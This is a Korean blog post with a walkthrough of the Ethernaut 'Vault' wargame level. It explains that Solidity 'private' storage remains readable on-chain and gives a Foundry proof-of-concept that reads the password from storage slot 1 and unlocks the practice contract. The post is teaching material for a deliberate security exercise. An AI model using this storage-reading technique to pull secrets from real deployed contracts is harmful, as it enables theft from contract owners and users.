The Ethernaut : Vault

세인·2025년 12월 3일

Solidity에서 private / public 같은 가시성 키워드는

"다른 컨트랙트가 이 변수를 직접 읽을 수 있는지"를 막는 언어 레벨 규칙일 뿐,
블록체인 위에서 데이터를 완전히 숨겨주는 기능이 아님

실제로 이더리움 노드 입장에서는, 모든 컨트랙트 변수는 결국 상태 트리에 있는 "storage slot"에 저장됨

누구나 RPC(eth_getStorageAt)나 도구(Foundry의 vm.load, cast storage 등)를 이용해서
해당 주소와 슬롯 번호만 알면 그 값을 그대로 읽어올 수 있음

→ 정리하면, "private이라고 해서 온체인에서 비밀이 되지는 않는다"는 점이 이 문제를 푸는 핵심

문제 코드

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Vault {
    bool public locked;
    bytes32 private password;

    constructor(bytes32 _password) {
        locked = true;
        password = _password;
    }

    function unlock(bytes32 _password) public {
        if (password == _password) {
            locked = false;
        }
    }
}

로직 정리
  1. 내가 unlock 함수를 호출해서 인자로 password를 주는데
  2. 그 password가 서버가 설정한 password와 같으면 locked=false가 되면서 문제 조건 달성

PoC

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import {Script, console} from "forge-std/Script.sol";
import {Vault} from "../src/Vault.sol";

contract PoC is Script {
    address public target = 0x44A5243F1D8F55a691421FAA97326E945cE87688;
    uint256 pk = vm.envUint("PRIV_KEY");

    function run() public {
        vm.startBroadcast(pk);
        
        //vm.load 명령어를 통해 n번째 slot에 있는 데이터를 
        //bytes32(uint256(n))으로 지정해서 읽어올 수 있음
        bytes32 answer = vm.load(target, bytes32(uint256(1))); 
        Vault(target).unlock(answer);

        console.log(Vault(target).locked());

        vm.stopBroadcast();
    }
}
profile
세종과학기지 세인지부

0개의 댓글